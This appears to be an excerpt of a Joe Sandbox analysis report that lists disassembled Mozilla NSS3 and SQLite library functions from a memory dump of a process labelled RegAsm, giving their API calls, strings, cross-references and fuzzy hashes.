Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$n,l
API String ID: 1003633598-1992001104
Opcode ID: a2b0d2f644bf11f9241a4be10e4e611569104a33e30aef10cb4d86d33545c7c5
Instruction ID: 4cc58826a5913afd1312e60f581f53acaf4cd250f137c81ec54758863e0fee0e
Opcode Fuzzy Hash: a2b0d2f644bf11f9241a4be10e4e611569104a33e30aef10cb4d86d33545c7c5
Instruction Fuzzy Hash: B8310775701259AFDB00DB54DD5DB8A3779EB4A318F094024EC08A7B11DB349948CBD2

Function 6C1E6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C1E6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E6F53

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C1E6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C1E6FA1

Strings

hSession = 0x%x, xrefs: 6C1E6F2E, 6C1E6F3E
(CK_INVALID_HANDLE), xrefs: 6C1E6F4C
n,l, xrefs: 6C1E6FB9, 6C1E6FE7
ulPartLen = %d, xrefs: 6C1E6F9C
pPart = 0x%p, xrefs: 6C1E6F83
C_DigestUpdate, xrefs: 6C1E6F11

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$n,l
API String ID: 1003633598-3552411435
Opcode ID: aa941e2d785d544514507f375a5eac07b0a8b01bcbf56858a3418ad946171b9b
Instruction ID: 9e4e6c59dd1155c0c387d957cc4191d5d922b380e95fe266e308606039583017
Opcode Fuzzy Hash: aa941e2d785d544514507f375a5eac07b0a8b01bcbf56858a3418ad946171b9b
Instruction Fuzzy Hash: CF31077471115C9FDB00DB24DD59B8A37B9EB47328F454069ED08E7A12DB35E908CBD2

Function 6C1AAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C1AAF47

Part of subcall function 6C279090: TlsGetValue.KERNEL32 ref: 6C2790AB
Part of subcall function 6C279090: TlsGetValue.KERNEL32 ref: 6C2790C9
Part of subcall function 6C279090: EnterCriticalSection.KERNEL32 ref: 6C2790E5
Part of subcall function 6C279090: TlsGetValue.KERNEL32 ref: 6C279116
Part of subcall function 6C279090: LeaveCriticalSection.KERNEL32 ref: 6C27913F

FreeLibrary.KERNEL32(?), ref: 6C1AAF6D
free.MOZGLUE(?), ref: 6C1AAFA4
free.MOZGLUE(?), ref: 6C1AAFAA
PR_ExitMonitor.NSS3 ref: 6C1AAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C1AAFF5
PR_ExitMonitor.NSS3 ref: 6C1AB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C1AB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C1AB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C1AB03C

Strings

Unloaded library %s, xrefs: 6C1AB023
%s decr => %d, xrefs: 6C1AAFF0

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 7f83af2efc18d8649d9c91e191265055d9c6846e250a163ee47dc9bc742dcf27
Instruction ID: c347203ae38d7ec376646c5c5ced792f466fac2f58813f58ba57f89969bf574c
Opcode Fuzzy Hash: 7f83af2efc18d8649d9c91e191265055d9c6846e250a163ee47dc9bc742dcf27
Instruction Fuzzy Hash: 34313BB9B04110AFD701DFA4DC45A5AB778EB1D748B144265EC0597E00F332E825CBF2

Function 6C1F6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C1F781D,00000000,6C1EBE2C,?,6C1F6B1D,?,?,?,?,00000000,00000000,6C1F781D), ref: 6C1F6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C1F781D,?,6C1EBE2C,?), ref: 6C1F6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C1F781D), ref: 6C1F6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C1F6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C1F6C96

Part of subcall function 6C1A1240: TlsGetValue.KERNEL32(00000040,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A1267
Part of subcall function 6C1A1240: EnterCriticalSection.KERNEL32(?,?,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A127C
Part of subcall function 6C1A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A1291
Part of subcall function 6C1A1240: PR_Unlock.NSS3(?,?,?,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C1F6CAA

Strings

sql:, xrefs: 6C1F6C52
rdb:, xrefs: 6C1F6C69
dbm, xrefs: 6C1F6CA4
dbm:, xrefs: 6C1F6C3A
extern:, xrefs: 6C1F6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C1F6C91

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: f73b78fbb2fe0736d07cceb48f97ea9d568de94331fca8f9cc206584bb73e17f
Instruction ID: 2f6c960efadf0557d0c58fa61f4a63a15144007071dd634868a87e8b6535dc1b
Opcode Fuzzy Hash: f73b78fbb2fe0736d07cceb48f97ea9d568de94331fca8f9cc206584bb73e17f
Instruction Fuzzy Hash: 040126F274330D23F60027B92D6AF23759C9F41549F180132FE24E0A81EB92E51A80B6

Function 6C204E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C1C78F8), ref: 6C204E6D

Part of subcall function 6C1A09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C1A06A2,00000000,?), ref: 6C1A09F8
Part of subcall function 6C1A09E0: malloc.MOZGLUE(0000001F), ref: 6C1A0A18
Part of subcall function 6C1A09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C1A0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C1C78F8), ref: 6C204ED9

Part of subcall function 6C1F5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C1F7703,?,00000000,00000000), ref: 6C1F5942
Part of subcall function 6C1F5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C1F7703), ref: 6C1F5954
Part of subcall function 6C1F5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C1F596A
Part of subcall function 6C1F5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C1F5984
Part of subcall function 6C1F5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C1F5999
Part of subcall function 6C1F5920: free.MOZGLUE(00000000), ref: 6C1F59BA
Part of subcall function 6C1F5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C1F59D3
Part of subcall function 6C1F5920: free.MOZGLUE(00000000), ref: 6C1F59F5
Part of subcall function 6C1F5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C1F5A0A
Part of subcall function 6C1F5920: free.MOZGLUE(00000000), ref: 6C1F5A2E
Part of subcall function 6C1F5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C1F5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204EB3

Part of subcall function 6C204820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C204EB8,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C20484C
Part of subcall function 6C204820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C204EB8,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C20486D
Part of subcall function 6C204820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C204EB8,?), ref: 6C204884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204EC0

Part of subcall function 6C204470: TlsGetValue.KERNEL32(00000000,?,6C1C7296,00000000), ref: 6C204487
Part of subcall function 6C204470: EnterCriticalSection.KERNEL32(?,?,?,6C1C7296,00000000), ref: 6C2044A0
Part of subcall function 6C204470: PR_Unlock.NSS3(?,?,?,?,6C1C7296,00000000), ref: 6C2044BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204F8F
PK11_UpdateSlotAttribute.NSS3(?,6C2DDCB0,00000000), ref: 6C204FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C20501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C20506B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: da1e0c5afa91e8cbcfc545d78aa521d6610fcfe72ba04286ea39495441594f56
Instruction ID: 8937f5fe5eca0ee03c7d0e5821de7bb09fd0e5ebef28d5cdf4d9ef4014faa441
Opcode Fuzzy Hash: da1e0c5afa91e8cbcfc545d78aa521d6610fcfe72ba04286ea39495441594f56
Instruction Fuzzy Hash: 4051F4B6B0020A9FEB01AF24EC05A9F77B5FF1531DF044536EC0696A11FB32D955CA92

Function 6C1AACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1AACE2
malloc.MOZGLUE(00000001), ref: 6C1AACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C1AAD02
TlsGetValue.KERNEL32 ref: 6C1AAD3C
calloc.MOZGLUE(00000001,?), ref: 6C1AAD8C
PR_Unlock.NSS3 ref: 6C1AADC0
free.MOZGLUE(00000000), ref: 6C1AAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C1AAE58
free.MOZGLUE(00000000), ref: 6C1AAE69
free.MOZGLUE(?), ref: 6C1AAE78
PR_Unlock.NSS3 ref: 6C1AAE8C
free.MOZGLUE(?), ref: 6C1AAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1AAEC7

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: f1671ea96de39160b67540e24812239f0bc554b4997349bd75ea5ba7b0a5d74b
Instruction ID: ffd8a0adbd8ebf092f16b3de96c6cf5a191f3499e5aeca7952dde4f29d430418
Opcode Fuzzy Hash: f1671ea96de39160b67540e24812239f0bc554b4997349bd75ea5ba7b0a5d74b
Instruction Fuzzy Hash: 805191B9A012159FDF00DF98D8426AEB778FB1A348F150129DC45A7B00D336A95ACFE2

Function 6C284C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C284CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C284CFD
sqlite3_value_text16.NSS3(?), ref: 6C284D44

Strings

another row available, xrefs: 6C284D20
unknown error, xrefs: 6C284D56
abort due to ROLLBACK, xrefs: 6C284D27, 6C284D33
invalid, xrefs: 6C284CF1
no more rows available, xrefs: 6C284D2E
bad parameter or other API misuse, xrefs: 6C284D05
out of memory, xrefs: 6C284C78, 6C284C9E
API call with %s database connection pointer, xrefs: 6C284CF6

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 42ccda050ce9fb5adb2d2361b242393b34b906e388a5656f64755d520d5f2759
Instruction ID: da1e3c2adb403f1f2120f38b1cb60cfafb670acf214515fd4b1d5a1bc5e10621
Opcode Fuzzy Hash: 42ccda050ce9fb5adb2d2361b242393b34b906e388a5656f64755d520d5f2759
Instruction Fuzzy Hash: 80317BB7E07A1E5BD70446249431BD5B32D778631AF05012BEC245BED4D720AC2D83D2

Function 6C1E2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C1E2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C1E2D07

Part of subcall function 6C2C09D0: PR_Now.NSS3 ref: 6C2C0A22
Part of subcall function 6C2C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C2C0A35
Part of subcall function 6C2C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C2C0A66
Part of subcall function 6C2C09D0: PR_GetCurrentThread.NSS3 ref: 6C2C0A70
Part of subcall function 6C2C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C2C0A9D
Part of subcall function 6C2C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C2C0AC8
Part of subcall function 6C2C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C2C0AE8
Part of subcall function 6C2C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C2C0B19
Part of subcall function 6C2C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C2C0B48
Part of subcall function 6C2C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C2C0C76
Part of subcall function 6C2C09D0: PR_LogFlush.NSS3 ref: 6C2C0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C1E2D22

Part of subcall function 6C2C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C2C0B88
Part of subcall function 6C2C09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C2C0C5D
Part of subcall function 6C2C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C2C0C8D
Part of subcall function 6C2C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C2C0C9C
Part of subcall function 6C2C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C2C0CD1
Part of subcall function 6C2C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C2C0CEC
Part of subcall function 6C2C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C2C0CFB
Part of subcall function 6C2C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C2C0D16
Part of subcall function 6C2C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C2C0D26
Part of subcall function 6C2C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C2C0D35
Part of subcall function 6C2C09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C2C0D65
Part of subcall function 6C2C09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C2C0D70
Part of subcall function 6C2C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C2C0D90
Part of subcall function 6C2C09D0: free.MOZGLUE(00000000), ref: 6C2C0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C1E2D3B

Part of subcall function 6C2C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C2C0BAB
Part of subcall function 6C2C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C2C0BBA
Part of subcall function 6C2C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C2C0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C1E2D54

Part of subcall function 6C2C09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2C0BCB
Part of subcall function 6C2C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C2C0BDE
Part of subcall function 6C2C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C2C0C16

Strings

pLabel = 0x%p, xrefs: 6C1E2D4F
n,l, xrefs: 6C1E2D6C, 6C1E2D9A
ulPinLen = %d, xrefs: 6C1E2D36
pPin = 0x%p, xrefs: 6C1E2D1D
slotID = 0x%x, xrefs: 6C1E2D02
C_InitToken, xrefs: 6C1E2CE7

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$n,l
API String ID: 420000887-1583813851
Opcode ID: 84c166a0fb2300f7c9942bea2af54eea3a12a75d0b51f9d009e3b6761872bb42
Instruction ID: fd83314af7c2fa428f1fde1ff7619677f1fdffacd8b045fa340ec139571dee57
Opcode Fuzzy Hash: 84c166a0fb2300f7c9942bea2af54eea3a12a75d0b51f9d009e3b6761872bb42
Instruction Fuzzy Hash: 7821C175240149EFDB00DF54DD5DB893BB9FB4A329F444124EE04D3A22DB319818CBA2

Function 6C282D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C282D9F

Part of subcall function 6C13CA30: EnterCriticalSection.KERNEL32(?,?,?,6C19F9C9,?,6C19F4DA,6C19F9C9,?,?,6C16369A), ref: 6C13CA7A
Part of subcall function 6C13CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C13CB26

sqlite3_exec.NSS3(?,?,6C282F70,?,?), ref: 6C282DF9
sqlite3_free.NSS3(00000000), ref: 6C282E2C
sqlite3_free.NSS3(?), ref: 6C282E3A
sqlite3_free.NSS3(?), ref: 6C282E52
sqlite3_mprintf.NSS3(6C2EAAF9,?), ref: 6C282E62
sqlite3_free.NSS3(?), ref: 6C282E70
sqlite3_free.NSS3(?), ref: 6C282E89
sqlite3_free.NSS3(?), ref: 6C282EBB
sqlite3_free.NSS3(?), ref: 6C282ECB
sqlite3_free.NSS3(00000000), ref: 6C282F3E
sqlite3_free.NSS3(?), ref: 6C282F4C

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: a7ced5a654bb510b43b7bb1ace1689e4583ae617ecc6423539a9ff0c671a06e7
Instruction ID: 60253af7fa3e9e50b52af33ffff753670432a73cd75917cfce1b263ae40d9567
Opcode Fuzzy Hash: a7ced5a654bb510b43b7bb1ace1689e4583ae617ecc6423539a9ff0c671a06e7
Instruction Fuzzy Hash: 186163F5E0221A8BEB00CF68D894BDE77B1EF58349F144024EC59A7781E735E859CBA1

Function 6C1D2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C1D3F23,?,6C1CE477,?,?,?,00000001,00000000,?,?,6C1D3F23,?), ref: 6C1D2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C1CE477,?,?,?,00000001,00000000,?,?,6C1D3F23,?), ref: 6C1D2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C1CE477,?,?,?,00000001,00000000,?,?,6C1D3F23,?), ref: 6C1D2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C1CE477,?,?,?,00000001,00000000,?,?,6C1D3F23,?), ref: 6C1D2C93

Part of subcall function 6C25DD70: TlsGetValue.KERNEL32 ref: 6C25DD8C
Part of subcall function 6C25DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C25DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C1CE477,?,?,?,00000001,00000000,?,?,6C1D3F23,?), ref: 6C1D2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C1CE477,?,?,?,00000001,00000000,?,?,6C1D3F23,?), ref: 6C1D2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C1CE477,?,?,?,00000001,00000000,?,?,6C1D3F23), ref: 6C1D2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C1CE477,?,?,?,00000001,00000000,?), ref: 6C1D2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C1CE477,?,?,?,00000001,00000000,?), ref: 6C1D2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C1D2D61
